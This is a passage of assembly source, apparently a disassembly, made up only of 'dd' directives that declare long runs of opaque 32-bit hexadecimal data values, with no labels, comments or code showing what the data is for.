		dd 0E790008Ah, 2FBD8E10h, 2C070EA1h, 0BB7BD6E4h, 0FA84E0FAh
		dd 24BA3A92h, 88C8CBFCh, 0C240C3A9h, 2B679BE8h,	3F4A8102h
		dd 0D0C8FF69h, 0BC179780h, 28805491h, 3608F7CBh, 828C773Fh
		dd 5D21AB53h, 2484D690h, 0A5F50810h, 16B1CF00h,	49FE48h
		dd 0AE386562h, 2576F156h, 0AD4E73F0h, 5AAB8401h, 0D4668872h
		dd 0ABFDE0F7h, 0A302E0CDh, 0E55E1374h, 0B4A357C0h, 88C56F66h
		dd 1E4A9E20h, 0B2D39405h, 0C0D08450h, 193390D9h, 4D5D0294h
		dd 150CA5DEh, 0F8FD448h, 45E69A00h, 5F5242CCh, 0F52E0056h
		dd 61FF6079h, 8E590BB2h, 0B8789454h, 0D178CD2h,	0C4953073h
		dd 6DBCA0ACh, 0C1E50B8Ch, 0F4F87BF5h, 67907304h, 54F81230h
		dd 8CE2E8h, 1F7C4788h, 49D869EFh, 0ECC2D12Eh, 40051C11h
		dd 8080EC05h, 9902F5EEh, 8D00EB75h, 6F09E15Bh, 972BEEEFh
		dd 30001837h, 0A6B33504h, 0C7A8001Eh, 39819EC2h, 0BA2580F0h
		dd 7090D32Fh, 0A8009130h, 15CE1F37h, 65EFF1B1h,	8E6E7964h
		dd 0F91B84D4h, 0D4577F30h, 3BDD2B00h, 1406DEA9h, 0EEE0A51Dh
		dd 40D785F1h, 0E2F8CCC0h, 40E09C4Bh, 0DD4C76A7h, 29ACA500h
		dd 2AFBA4BAh, 931F0062h, 81555B98h, 0AB088E24h,	0CDD9173h
		dd 0E0D9D409h, 0C1E7D72h, 0F6C01AE2h, 1429FF58h, 0B4A10233h
		dd 1896A8C0h, 0B47AD1E2h, 34BB6902h, 5C160362h,	83471EC0h
		dd 7AA4D419h, 0C5E3D2EAh, 3B6887C9h, 100B86Eh, 69026CE2h
		dd 0F025B0E9h, 7B6C4867h, 1944A04Ah, 59266361h,	204B8EA3h
		dd 0A60080B2h, 28DF9A15h, 0D000C463h, 0F56C814Ah, 4E1A37F7h
		dd 0D110C124h, 0B1A700CEh, 5E409E20h, 97006646h, 0B98FEF24h
		dd 0D0B9F03h, 0A1C565BDh, 0FE949084h, 0C0485D7Eh, 9D61CDCEh
		dd 1E0FDCFFh, 207A192Eh, 0A51DBF5Ch, 8EB6098Ch,	80762A88h
		dd 6EC8454Bh, 0EDF38171h, 506FB0D0h, 0CB4A8C28h, 0C063C8FCh
		dd 0D6160C9h, 8BF55E0Bh, 12B0F0BCh, 8E6F0831h, 0C512885Ch
		dd 0B5C881D3h, 7C880FBEh, 0F8699AC0h, 91E34A87h, 4CCC9CCh
		dd 7823742Eh, 7C00E926h, 6EEB8375h, 87CC006Ch, 0B721A49Bh
		dd 0AD0226B0h, 0C457F82Bh, 74B05636h, 87F92A21h, 35692Fh
		dd 0A50A5B0Bh, 9E163870h, 888A7175h, 59A4610h, 0C9A8E560h
		dd 67F1BC05h, 0B9290088h, 28218804h, 5747DF03h,	4B20005Dh
		dd 0CBB9AA60h, 245D02A8h, 0F82F5A84h, 0C0EF1010h, 0B288192Fh
		dd 814E25AEh, 7A2544F8h, 0E84E80h, 1D0ECAFDh, 0E946A0D5h
		dd 0E4A85010h, 0C381893Bh, 0A14BA273h, 68883A8Dh, 607E1F3h
		dd 0D35051D5h, 0D09084AEh, 6E5B70B2h, 0CC80749Bh, 0F0E57747h
		dd 19050C94h, 283AEEEAh, 47020E23h, 0C0D5E4FDh,	141C2238h
		dd 58672AAAh, 50E72689h, 18F92AC2h, 61DC2B2h, 0A7802CDCh
		dd 43BA7CC7h, 0C0D04B5Dh, 6DBC4FFCh, 0E4E6374Eh, 0AD60BDF2h
		dd 0C127E416h, 24D8590Bh, 55465C30h, 6D31CB00h,	4241ED5Eh
		dd 5AF04804h, 44AAF8C4h, 47F29EC0h, 40FBDD60h, 6AB9844h
		dd 8C28E995h, 32FAC866h, 22042C48h, 0A6174F77h,	0CF13B1C4h
		dd 24B7B1FCh, 9D245501h, 0D2140D7h, 6E36FDE3h, 7B04F2E0h
		dd 0C8282CEAh, 6B5B94BDh, 593600A0h, 304A7778h,	9D744AB3h
		dd 88A80B28h, 0E08DC066h, 6400DC41h, 0A7CCA382h, 460F7F1h
		dd 0EA097069h, 4FFA52h,	38A81343h, 2741CB05h, 13E06E17h
		dd 0AF07DD5Ch, 0E6919B38h, 903B9754h, 98457650h, 0EA6C38h
		dd 1FBDC8FBh, 0F41C7Bh,	0A8A5B651h, 8D569216h, 86006770h
		dd 62666BEBh, 0B6F54A9Ch
		dd 44732710h, 0B5E6958h, 0E37B9030h, 29FA2046h,	67F22D25h
		dd 6767C450h, 90EE8073h, 380EC7ECh, 21E0FCC9h, 8C9D74CDh
		dd 0B0EAB50Eh, 4A9EE187h, 6B2A1662h, 95800E8h, 0FAFFA416h
		dd 0ECB027CFh, 0F180BCC0h, 0A78C4653h, 7368C078h, 9C03C917h
		dd 0A6C8D867h, 49CFD14Ah, 38D8C03Bh, 0B74C9B64h, 0E01D2DE5h
		dd 0F67D0A5Ch, 48379FC5h, 4329D701h, 3B6EDB05h,	5F2398h
		dd 663C3D53h, 61091C30h, 5CDDEF1Ah, 47F983D0h, 0C0387667h
		dd 69980049h, 741B8E23h, 0F44C2DF0h, 10E4D065h,	0CF3D1B60h
		dd 160984E4h, 0FA779074h, 6BE02080h, 38491907h,	0D0A79C91h
		dd 185348C3h, 109F8718h, 8880FB44h, 0A0909F46h,	0E0406FF8h
		dd 213D129Dh, 82ECA8B5h, 0ECC4D7Bh, 13201920h, 0AA01CBA1h
		dd 23CAB787h, 0E8962FF3h, 5B28832Bh, 0F278F2D4h, 0DD2830A6h
		dd 0CF2CAAF6h, 46740069h, 77B10910h, 0D44C0279h, 488600C1h
		dd 0BA3C9B4Fh, 4EAA82F1h, 76B2A8E9h, 83973C44h,	3028447Bh
		dd 840CA813h, 0A5076AECh, 0B8450B2Fh, 4E60D5E4h, 622E1704h
		dd 5F44248Ch, 0D0A60847h, 0F73470B3h, 0DB119C13h, 0F18038FCh
		dd 6123423Bh, 29CB9300h, 5C32881Ah, 6E07594h, 10082F2Ah
		dd 0AD04A0E8h, 0DCFB7B91h, 567318B4h, 3800385Dh, 98DDDE85h
		dd 8200177Bh, 0A11915CDh, 952C5B6h, 0A7AB9BCBh,	5F797851h
		dd 8000C318h, 51F66105h, 6796C89Eh, 0E090214Eh,	2CA0E9EEh
		dd 8B1E5901h, 99439CB9h, 0CAB4C02Fh, 2F4E67ECh,	0E203D003h
		dd 1C02765h, 42D850DBh,	71C7770Fh, 0C9D80069h, 8B5AB20Eh
		dd 6238C14Eh, 2421A63Bh, 0F2DE0A09h, 2C6D9FCCh,	0A9CAC3C3h
		dd 8004609Bh, 5F7BB391h, 8103A2FAh, 5713036Fh, 407993CBh
		dd 40B1D438h, 7D25B7EEh, 934C065h, 2D74B46Ah, 0CF91F097h
		dd 0A9CE4B80h, 86015650h, 48EBD8D7h, 68EAC9h, 7CB51627h
		dd 0F9CC2B80h, 9E6016AEh, 23489220h, 0B5F93F70h, 0DC7CD023h
		dd 33667700h, 0EB0DA4A7h, 0BAD900BFh, 919931CFh, 0A2EC1987h
		dd 0AC9090F2h, 95B8709Dh, 0AC9DB804h, 54DF0474h, 6C822C0Fh
		dd 0FC4058B4h, 42E09C38h, 0FE407E42h, 1032D96h,	6F1B8DEEh
		dd 776202EFh, 4BA4B135h, 102AE864h, 0F85FB876h,	7329AC45h
		dd 1604100Fh, 67C4349Fh, 0B894C118h, 0EC902FEFh, 1656325Dh
		dd 896EC1E1h, 0F0E8363Ch, 0F632B3h, 8B6B9D10h, 0C3FBE6E1h
		dd 4B3AD1B0h, 0AF55A50Dh, 6218830h, 2072EBFAh, 9E7A0121h
		dd 78BD2D0Bh, 72969900h, 0E80A3D63h, 0C10709FBh, 2451F17Ah
		dd 0F765588h, 5A88282Bh, 0E404C52Dh, 715A600Ch,	45C5096Ah
		dd 0A8007D21h, 0B14FF01Fh, 0F8731609h, 110C9F70h, 84238062h
		dd 5B7B9BFCh, 0F528808Dh, 0BB6933DFh, 7014D3B0h, 0D93F613Ah
		dd 0FB808016h, 0CD3E4985h, 14D07DECh, 9406131Eh, 885E1985h
		dd 501869B8h, 2978BFA8h, 0DCD8BC8Fh, 9427A700h,	0F728E6B2h
		dd 0BF620137h, 5AB7304Ah, 0A17E8012h, 0A80A029Eh, 0F9E427B0h
		dd 0ACFA80E0h, 3D21462Fh, 9B5800ACh, 4C346D3Ah,	0ACF8665Fh
		dd 0DC21F2Ch, 347A2A44h, 89B76C44h, 5EEC7678h, 0EC047C46h
		dd 0AAF850EAh, 554BE842h, 7DC90CAh, 76149C52h, 64001146h
		dd 0ECDA1263h, 80BF7397h, 0E22132C4h, 6C3E137Ah, 0AC44F97Fh
		dd 0E62B0029h, 46BE705Eh, 16EAD2A7h, 0F9C02CF0h, 638AAEB2h
		dd 5D641EA1h, 3AD45229h, 0EF0E103Ch, 0B6AF7C0h,	5E015AB9h
		dd 7E3227AFh, 2F2F3A88h, 0CF235Ch, 0D45E78B4h, 0A603BC83h
		dd 0F5AE7ABEh, 37093DEh, 0F2E3F129h, 0BF91E650h, 0C8E84B89h
		dd 518DC75Dh, 2E17277Eh, 9CC0BCDAh, 4ED696EBh, 105AE090h
		dd 9EC8C4E1h, 1224B6FEh, 0DDE0E501h, 380A60B7h,	8088A13Eh
		dd 0DD05337Bh, 4CEA0A4Eh, 8852548Ch, 80549B4Eh,	3053C3DDh
		dd 24FC9868h, 504CD1B9h, 594A4C1Fh, 0BD2710C0h,	9F0B604h
		dd 30D9EF61h, 51185DF9h, 200C3A25h, 270E777Ch, 1B7CEDh
		dd 90DD39D4h, 0E96DD7C2h, 960D1100h, 0A776E461h, 6A27392h
		dd 0DF7BC14Bh, 192E4116h, 944D861h, 0F7A38B9h, 95D00166h
		dd 3850AFEAh, 7CA0162Fh, 0BB2DB98Ah, 5BC03B1Dh,	910EF089h
		dd 51A5C9D4h, 1D70E8FBh, 43C60239h, 0B4DF0A5Bh,	3E007879h
		dd 8524ED3Ch, 0DD320215h, 49E189DBh, 4D27E465h,	551F417Ch
		dd 0D1DDD8FDh, 84D81029h, 0E3470939h, 42184112h, 84B8FC39h
		dd 6AA05E27h, 0C010D73Ch, 0F40760FEh, 89979F08h, 1F37FC60h
		dd 0C4D70FDFh, 3080EA49h, 0C8DD778Eh, 0ED025494h, 0E764AB97h
		dd 6054C42Ch, 5F50F9h, 9A81F2EEh, 58C23C5Eh, 6C6BF812h
		dd 47845020h, 30BC1C3Dh, 24076D50h, 9E0FC0A7h, 0E9136C8Ch
		dd 18A12FE0h, 70982044h, 0D4E6008Fh, 84B55324h,	164F5949h
		dd 76B0A0F6h, 0B50CB7F6h, 50A17AFDh, 0EB2316E9h, 0F268B2B3h
		dd 327D3066h, 2E76E803h, 0C2259540h, 0A09757F8h, 129F5F91h
		dd 0CBB4F80Fh, 32B40012h, 0B0F7F6D3h, 0F12C914Ch, 2D5C1810h
		dd 0FC44269Ah, 891DC400h, 0F1FB1710h, 446001A5h, 6FE0EA09h
		dd 88688B57h, 18CC40A8h, 743601EBh, 2824DDF9h, 5818271Eh
		dd 0B5EB0408h, 0F8A8D2C5h, 0A1F4A75Bh, 0E5202332h, 0F2E426B6h
		dd 5CA8C868h, 27006246h, 4A83EACCh, 9C00A3D9h, 66CAC8A8h
		dd 0D395ACE9h, 349A10A9h, 92BDC01Ch, 3F8821C7h,	0CC983BB5h
		dd 9EE50167h, 0DA763436h, 684AF064h, 2857BB32h,	0BF0462Bh
		dd 41EEF4DFh, 1DC685Ch,	0E593A408h, 0C61EB0BDh,	74A6D045h
		dd 480301D6h, 77755A40h, 25E9E5h, 4DC24BBh, 1C39FDEh, 8F875D78h
		dd 800983DAh, 0E4E6D2ECh, 2CA0045h, 0F346EAC2h,	7900D9BEh
		dd 0E7569F21h, 49BA9B75h, 8004D008h, 3A588EB9h,	83026D23h
		dd 0AB600577h, 971016C4h, 78916415h, 0EA6B1180h, 6F7C0C7Dh
		dd 4573AB12h, 0B040E4B1h, 857807h, 900ED661h, 7B0F8667h
		dd 0A2243407h, 188269B9h, 2C9077C1h, 587DA76Ch,	0BD2A4C00h
		dd 0CFD2474Bh, 0C52EE384h, 23D03A78h, 0AA1F0Fh,	0D2DCC00Bh
		dd 0E1C02896h, 247E3ABEh, 9455131Ch, 8084037Ah,	89BACA67h
		dd 6013C84Dh, 0F041D4F2h, 80268996h, 0CF4DF5B0h, 62BC0827h
		dd 98C46E24h, 6853494Ch, 7B38A44Eh, 467C30BEh, 1593C67h
		dd 0ADA103C1h, 0AC25DFFAh, 80509E2Eh, 0B069917Bh, 2EE24090h
		dd 0DD6020A0h, 13683059h, 0E83A0473h, 86005523h, 0D803A16h
		dd 0D21B02E4h, 7BCEE994h, 2F13EC44h, 7C2071C3h,	0E7911B6h
		dd 2EFCAC27h, 0E16548D8h, 0C09CED95h, 68BD1D47h, 14435E00h
		dd 0A49BA1E9h, 4B690E32h, 0F713FA1Ah, 7B33B004h, 84F448AEh
		dd 0B084E64Bh, 5AF7F53Ch, 0A30F073h, 8110A658h,	5F96C6A1h
		dd 138098A8h, 0C5540849h, 0B4B801B8h, 3EE15AF3h, 483A9C6Eh
		dd 0D014DD00h, 736FCBAh, 9D90FF02h, 77A6717Bh, 0CD5800A3h
		dd 7D877017h, 0DA6AD0A1h, 0F685C0D8h, 2F6FCF13h, 8444A897h
		dd 1CA44E00h, 0C34AEE37h, 0F2A003D9h, 1E0CD852h, 687B612Dh
		dd 59CA4E68h, 5BBC80E1h, 9484245Eh, 5FC6BEAh, 17F85E36h
		dd 0A6A2F8A3h, 245A3A30h, 0BE91FF7h, 6864DFD3h,	25BA2020h
		dd 5064A463h, 2408BD0Bh, 80E4711Eh, 0F2047228h,	800033F4h
		dd 292459BAh, 4B4847E0h, 58CC9149h, 7338841Fh, 5DEE9752h
		dd 98DF4054h, 349D6583h, 6E5A2F07h, 0A2693BA0h,	7DC8056Ch
		dd 0E06FD8A2h, 12F6FE03h, 2A11491h, 76248AA5h, 5DC545Ch
		dd 4EE4DFCDh, 86FCA329h, 317EFBh, 0D6AD29A7h, 50CEBAE0h
		dd 37E3D012h
		dd 0C3BC90F9h, 0CF189D00h, 7143BAC9h, 0C178C06Dh, 21F601E4h
		dd 4676B4B4h, 673F0F51h, 27CEBAFh, 82190CACh, 414D5FA0h
		dd 107926BBh, 0AC6B5Eh,	0F3A72193h, 0E4FFB36Ch,	0A02E06B4h
		dd 0C05FAD63h, 0BE16B0FCh, 10972475h, 7CB8D65Bh, 0C13D546h
		dd 7538F811h, 7812DB5Eh, 0F3E7A4F6h, 0F089735Eh, 5C886F5Ah
		dd 5CFAFAA1h, 0FF11B072h, 308485Ch, 4535BCC6h, 0D3D80863h
		dd 0E449BDF8h, 7C48BFC4h, 3966E27Bh, 0F809FE19h, 0A2543EE7h
		dd 4CBD012h, 0A062A388h, 81CF2930h, 0D77CC0F4h,	254E2006h
		dd 38EECAF3h, 35BFh, 0C8A58359h, 74071F4Ah, 0EB13ED5Dh
		dd 167C0341h, 7D913060h, 648100B5h, 5F05E41Fh, 6217F72Dh
		dd 9CC2E802h, 4C782989h, 6B6A5741h, 177C230Ch, 684404ABh
		dd 4B9F0259h, 0D0CCE8E1h, 0FA690166h, 2B534840h, 8C203F90h
		dd 2FDDB67h, 0B8D2CFB0h, 0D0F49403h, 26E3465Eh,	0C1C5F08h
		dd 198B68E6h, 483C1174h, 0B038107Dh, 99F70E00h,	61EF7669h
		dd 6F144200h, 59BFF8AEh, 739F086Bh, 0CA04CE7Dh,	8CC12741h
		dd 9834C9B0h, 3FFA45D3h, 78248820h, 0D8A2002Eh,	0C09012CDh
		dd 0F0A7741Bh, 7D606744h, 81001441h, 0EC83ACDAh, 0BA8B1B97h
		dd 0F0E518E0h, 750288D9h, 0E0D48295h, 0E989014Fh, 35BBC8C2h
		dd 2E386D4Dh, 984074BEh, 73929B69h, 0C0634D64h,	0ACE77612h
		dd 8E3D8018h, 12E187Ch,	0ED4A9BB9h, 33654834h, 0F91BA1BCh
		dd 3F75400Ch, 0EB692B02h, 0E0105116h, 0B450E549h, 0A49807C8h
		dd 81B7B009h, 5E2946F1h, 4A00949Ch, 1491FE67h, 40E9562Fh
		dd 26198DB0h, 5A20A903h, 0D4353FA7h, 2B0088B2h,	83FBD413h
		dd 8E025C80h, 4102F07Eh, 908A432Fh, 4CB1267h, 0C2DDD09Eh
		dd 0B04CF61Ch, 5FB462Ah, 2B59D082h, 27B8FD08h, 58945B7Ch
		dd 0DF008A2Ch, 7B1CB7Dh, 4B83CC42h, 0C17CC4FFh,	2EB6DCE8h
		dd 0A9C81CCEh, 345D0DC0h, 1E590457h, 0AC32EDC0h, 78481838h
		dd 489DE229h, 6900738Eh, 0E77E4C1Fh, 7158B02Bh,	432AE890h
		dd 183000F9h, 6CA4C33Ch, 0F6209E0h, 0CED8601h, 66B5C3C0h
		dd 3B6F0280h, 919C9E79h, 9154175Fh, 0C20280DCh,	13557ABh
		dd 0C8B49A91h, 6AF8A55Eh, 0CB2AC16h, 313054F2h,	47F1004Bh
		dd 0F9EB1871h, 0DC9EE4E5h, 14D0B940h, 499800ABh, 0DD2E70F8h
		dd 0AE05E5C7h, 93688FB1h, 6F1C20BEh, 0E07DDF5Fh, 21002577h
		dd 0F12371BCh, 7C60B38Ch, 0C0054E12h, 0EC28491Ch, 2CE88397h
		dd 0FA4100F2h, 3DBA74C3h, 441F03A1h, 68DC8F9Bh,	183A2D17h
		dd 0A0007A23h, 8A1D5D7Ch, 0B60E291h, 8FEE9B93h,	0BCC3E86Dh
		dd 0C994B8AAh, 0C820EBEh, 0ECF4385Ch, 6A580303h, 0ADDCB819h
		dd 7B2F01D4h, 0BA761BA3h, 54A71F4h, 9E5E23C5h, 900D7C0h
		dd 7213D47Ah, 7102F3BAh, 64E12FCCh, 0CF7D44E0h,	611A5D03h
		dd 88A5BD21h, 512D780h,	16BFDBDAh, 0B1EF8075h, 0F87AEAEBh
		dd 0F8C8574Bh, 272325BFh, 0C60EA478h, 9A05E20h,	95A84B01h
		dd 980F74BCh, 0ECC2A7ABh, 50764B67h, 0C5DF781Ch, 847647C1h
		dd 83F34F1h, 0C6A53800h, 6698043Ch, 0AE3A6A22h,	7803746Eh
		dd 0CC43AB5h, 1A03399Eh, 299B4D24h, 22F805D2h, 206CF0A3h
		dd 952C70F0h, 288E490Bh, 71AD0207h, 7A30E801h, 0C1BD50D6h
		dd 0D8294B06h, 0F85A835Ch, 0DC82C8Eh, 4E80B2C7h, 0C23A21Dh
		dd 190C9C66h, 74005A21h, 0CF4A8832h, 2F1DCDDh, 0C7410FEDh
		dd 0E4A95C01h, 0FDDC08FCh, 40505C70h, 3A0068F7h, 657DB891h
		dd 2C2FECC0h, 42988B9Bh, 84D14F4Ah, 0A318E379h,	0AE56DC02h
		dd 5D5A1986h, 77113C82h, 0BBF8D301h, 7B680F6Ah,	9E3C9161h
		dd 602F2E38h, 7097C23h,	58F05CA2h, 29D3A47Ah, 22B87CADh
		dd 6866C500h, 0D1C33A2Fh, 0F82B1A10h, 46D6947h,	0E9184CE0h
		dd 0C92401DDh, 19D1B6C8h, 24986960h, 0DF0B98B1h, 65C86279h
		dd 844D2DA4h, 0BC70C41h, 63139863h, 0DC80F5A7h,	0E648DDEBh
		dd 499B27E2h, 0B074AC44h, 3A480419h, 820F594Ah,	84F82898h
		dd 2D5BF04h, 88F655CAh,	0F86C21F0h, 380E300h, 0B5491592h
		dd 0B914600Ch, 3B18AC42h, 4D2EEA00h, 3E5E378Dh,	3151008Bh
		dd 658197D5h, 10BE0BFFh, 4D135281h, 0F8C0DEAEh,	0DA5E13B3h
		dd 7FA90095h, 61B8C209h, 7D36BD12h, 1CA06BAFh, 77113A94h
		dd 0E41EE300h, 0C84185E8h, 346BF500h, 0AAD28FFDh, 0DEBF4CC6h
		dd 6C24C25Fh, 4BFB0904h, 7403EA58h, 97F852DEh, 3D04A790h
		dd 0E8CAA02Eh, 23DC2FEAh, 3FB60054h, 8F813334h,	71B4FB0Ah
		dd 0A403E46Fh, 0E7437F1Fh, 484EC080h, 3CBD2477h, 0C5918100h
		dd 9175F54Dh, 2200CAA1h, 2474930Dh, 0EB078D92h,	0E928FE58h
		dd 98A07825h, 4D734FFh,	0C0089B80h, 4A35DA7Eh, 2D052D64h
		dd 0AF8CD8A4h, 56008C6Bh, 3D37A138h, 7304AA08h,	5BD3646Ah
		dd 2776F8F0h, 148124E5h, 787F9FEDh, 0DDE0042Ch,	90AEDA50h
		dd 211965F8h, 0DB169725h, 0BAF583Ch, 0BA982917h, 2F2E88A1h
		dd 0F2358h, 0EBE40AA6h,	88C02E1Fh, 6F466998h, 0F73EAC9h
		dd 0E15AF8F3h, 78D2E04Bh, 0D38A501h, 12FFD3C1h,	0E0F0F180h
		dd 0B7D54A80h, 0CF18D707h, 0A1F09772h, 5617B3E6h, 0F2E0506Eh
		dd 0A977CD69h, 8DFBE912h, 2F21B0D7h, 0AC405F43h, 0A671A8FAh
		dd 874A04E8h, 0BE6AFE42h, 0C17434h, 0F5026DE1h,	3D74295Fh
		dd 0CDF026Ch, 375D37F0h, 5650048h, 5E09E36Dh, 0E56819C0h
		dd 0A3AF70h, 974FD49Bh,	61D89E79h, 6683452Fh, 0D0FE4F00h
		dd 0F03B6808h, 615C4D00h, 94B294Eh, 7DFF1C36h, 0F84027E5h
		dd 657EB793h, 3DB8CD49h, 0BE16C0F2h, 79DB806Ch,	949FB415h
		dd 23771309h, 12A856B7h, 0B050A878h, 9422DAA0h,	106D2FD0h
		dd 0D0030E60h, 0CC5C2750h, 2A6248C7h, 727618F9h, 8164A203h
		dd 0C8C49D6Dh, 5E794BB9h, 84684ECFh, 0D7A8F9B2h, 29E0E4F2h
		dd 0CC7C3BFEh, 8D21F500h, 0A62C68AEh, 42C106CDh, 21054539h
		dd 0A4710F00h, 1A361453h, 0E26000EAh, 0F3D92715h, 0E303C8FFh
		dd 0B6A8FC79h, 2300038h, 49CD1378h, 210314C4h, 0A33F28BEh
		dd 0E8207A9Fh, 0C0E47A1Fh, 6C548611h, 0B06A46Ah, 0F3A7C04Fh
		dd 218A6008h, 7B6C3B63h, 0D30E8E00h, 42171181h,	0CAAC004Eh
		dd 0E584AE8Ch, 9E28F91Bh, 0AD3A40A9h, 0E34063CBh, 8C490027h
		dd 61F8300Bh, 40000E2Ah, 87B0CBF0h, 0B82D9F1Eh,	0C829CEDAh
		dd 0D612C37Fh, 507C0490h, 6C008CEEh, 7B42701Fh,	0A0C49729h
		dd 606D212Ch, 0D2A92935h, 9C300A84h, 157548C4h,	509022F2h
		dd 0B072B33Bh, 2CE920EBh, 4B410847h, 938F38AAh,	785878F0h
		dd 0C500E3Fh, 801D8A44h, 0FF247B40h, 1900EA0Fh,	84BDF8D6h
		dd 17386DAh, 276630C5h,	80BF933Ch, 76CA2CF9h, 7BB431Ah
		dd 634B2F13h, 61F14616h, 76D1FF00h, 0C67DB8FBh,	0F8AA18A6h
		dd 5C2798F9h, 0DDC22E1Eh, 3020BB83h, 0C5A005B1h, 30E3EB9Fh
		dd 366C40DCh, 0C02B9E21h, 8D6C4767h, 8C7C6800h,	0FB548B56h
		dd 5C8800EAh, 0AADBF516h, 4A045712h, 452F3B0Dh,	1FF2088h
		dd 70D08D1Ah, 0ED291F07h, 5846D2EFh, 22EC20h, 499FFA44h
		dd 16A27464h, 1DC42C52h, 0B8407AB3h, 7638C4A1h,	0A8F91B2Fh
		dd 707541E1h, 8D16048Ch, 62E770D4h, 1EF820F9h, 823C668Dh
		dd 1498070Bh, 2FA4BD55h, 0B3A37080h, 0F1623F4Ch, 8EE6E08Fh
		dd 23F5818h, 3CE741C0h,	0AB5EA7h, 5D33588Bh, 0C2844CC5h
		dd 0F7433200h, 0D3CB069Fh, 0C12C60D7h, 54EC0758h, 8377A601h
		dd 88FFBBB3h, 21835CD1h
		dd 6BEC2EEFh, 0E3E43FB1h, 0F48E805h, 0F040F286h, 6C9080ABh
		dd 210C0060h, 98768E53h, 0C70013E6h, 164E5618h,	48DFBF11h
		dd 7CD4BAh, 5E7E5CA3h, 0D22DAADCh, 0AFB84F04h, 30817CF2h
		dd 0EC5029D6h, 49B102C6h, 147E34C1h, 882CFCEBh,	803C6E1Ch
		dd 0CB09769Ah, 68A8CA5Ch, 3D08EC36h, 59892FA6h,	23ECF8EEh
		dd 8CCF4409h, 0E7440109h, 6C202FD7h, 0CF048C39h, 0B3431D76h
		dd 220F462h, 4807557h, 97E8F2EBh, 52D488E6h, 0AF358A09h
		dd 14CB00D5h, 90A3CE4Ch, 0D4EF5404h, 69B800DCh,	0E9A591A2h
		dd 0B3F2EAC3h, 0AC81F707h, 0A91403B9h, 386A2CC8h, 0FBB086D1h
		dd 574FB579h, 40BD6100h, 8D6E8CB1h, 4CF6001Ch, 0F8EB3202h
		dd 69C2FCA3h, 87E4212Fh, 0C873DF4Ch, 1845D09Ch,	4C7500F9h
		dd 47D410C4h, 0D9004EDCh, 0C31B3F7Ah, 24AA82B2h, 91F8C689h
		dd 76D48046h, 8CCB42F4h, 0DF544h, 0A1CF755Ch, 0AF654369h
		dd 8AC4DDA0h, 0B8CB3428h, 567C3109h, 48000A5Ch,	80E05915h
		dd 0A652E269h, 22834367h, 30F51C60h, 3EBD85ECh,	0D2558080h
		dd 58DEE688h, 0BEF9EE58h, 3A8200EFh, 835CD9E7h,	7C03E6AAh
		dd 2DA6EC7h, 43D80419h,	802938A0h, 0DC185828h, 0C43F2700h
		dd 0E65C2280h, 1BA0C225h, 0A0A01DE3h, 83F243D7h, 4222CB01h
		dd 90F4752h, 57F2A822h,	339930h, 74B996F7h, 321D558Fh
		dd 18BAE026h, 18803111h, 0B770C68Dh, 0EA10E18Ch, 9E008D20h
		dd 0B83663FAh, 0F1BC4C1h, 4D28576Ah, 1C24B5CBh,	588A312Ch
		dd 59C19857h, 0E83665A3h, 0AD97D6E0h, 0CF01B30Eh, 0F42C5040h
		dd 7A6E408Ch, 0B4A08442h, 4807E245h, 695F8778h,	11EC490Eh
		dd 0D0183AB8h, 43187608h, 580170ABh, 0A5EA7500h, 0E2FBCF1Bh
		dd 46478824h, 69C2A200h, 125B6526h, 0EC2A503Dh,	0ED400249h
		dd 4F8E7C82h, 0B425E88Fh, 0C80CCBC5h, 0F5E7C095h, 209FEB5h
		dd 8C5A64C5h, 482621F4h, 56100447h, 0EC34C7CAh,	88FFA6C1h
		dd 3BF8000Bh, 0D93D91ECh, 0CA9D00C0h, 0D674BFE4h, 3034F058h
		dd 1C80C04Dh, 4017A4FCh, 2D60902Eh, 0CF4A5A41h,	0CBE600B5h
		dd 65C4D4BAh, 0C80201CDh, 0A749A7Ch, 83ACC1C1h,	64B0AAF6h
		dd 53F06C60h, 82E50067h, 78A2B330h, 0A18233Bh, 0DE783539h
		dd 0A6FC1696h, 3D64328Bh, 88CF430h, 201770CAh, 0F6401464h
		dd 0D7928D1Ch, 2E83E503h, 0F8ECAEB4h, 5878A9h, 610FB9F4h
		dd 6225C09Bh, 1D8F9A02h, 0E0B3EB12h, 0B9A00E90h, 801E11E0h
		dd 9E356C3Dh, 8E458C43h, 1CC848F9h, 0A55A0034h,	3D6EC9B2h
		dd 0A1071A89h, 7C3035B8h, 48022D4h, 0F28FE1BBh,	0CA620055h
		dd 6F166CCEh, 0ECBA33E6h, 2D2FB510h, 8C485450h,	1676CE07h
		dd 66385B43h, 0B0021C8h, 0E3AE7556h, 4937C1h, 4B163A66h
		dd 0E8598389h, 0DF447717h, 323103Fh, 32910B04h,	98840490h
		dd 4B0D0007h, 7A70E745h, 0BC90875Eh, 8C1EE32Ah,	8D470200h
		dd 0C80A6B43h, 325900D6h, 6E9CAF84h, 4F52586Ch,	0C108E744h
		dd 0C41D2166h, 701701A4h, 0EC405842h, 29650D59h, 0FC7104C7h
		dd 825FA425h, 35305D90h, 0A63E08ECh, 0F1588907h, 72EC003Ch
		dd 82534638h, 29753F0Eh, 0A0FC9D13h, 0B2703420h, 4B184086h
		dd 9894F02Eh, 0E42AAF9Eh, 276AB210h, 0CFBF0F8h,	0A2230D1Ah
		dd 88585BF8h, 286DE70h,	64D50BC3h, 982C7F0Fh, 467490AEh
		dd 6BF700F5h, 65C771E8h, 0A6B90530h, 90FB9072h,	21DA5C98h
		dd 71389984h, 1CF3185Fh, 1398C95Eh, 0AE8C404Bh,	0ABE7B2B4h
		dd 2F4600B0h, 2376D506h, 0C491A843h, 755D0C60h,	0C0EF0084h
		dd 118A6588h, 9403F9F7h, 0A0FDD2ACh, 0B0C3C563h, 21C1091Ch
		dd 6C823672h, 380A46A4h, 19803E11h, 1F70D58Dh, 60C92899h
		dd 0B8191Ch, 2D279688h,	0CA0A4BB5h, 2ED12802h, 5866AAD0h
		dd 0C96C0050h, 0C6599D5Dh, 0EF257D49h, 0BBFC1785h, 2F9900C6h
		dd 4A057BF6h, 9995737Dh, 19F9D184h, 0A03BAD4h, 5C98F3CBh
		dd 28E141C0h, 2242C8EFh, 6E80089Ch, 3C583436h, 0AC620118h
		dd 0CF047D9Ah, 3D837F71h, 3082E4EDh, 76D33045h,	4343193Ah
		dd 755B0E80h, 0C800475Eh, 553C28A3h, 244E15EAh,	6DB5F49h
		dd 985654F0h, 14E39006h, 221B22Dh, 0F8467C5Ch, 6E07351Ch
		dd 11189D1Bh, 0FB3D84F6h, 3A212B80h, 2F8D2877h,	0C4CCA790h
		dd 7EF067F1h, 72C47245h, 340149D2h, 79945A01h, 5728A8h
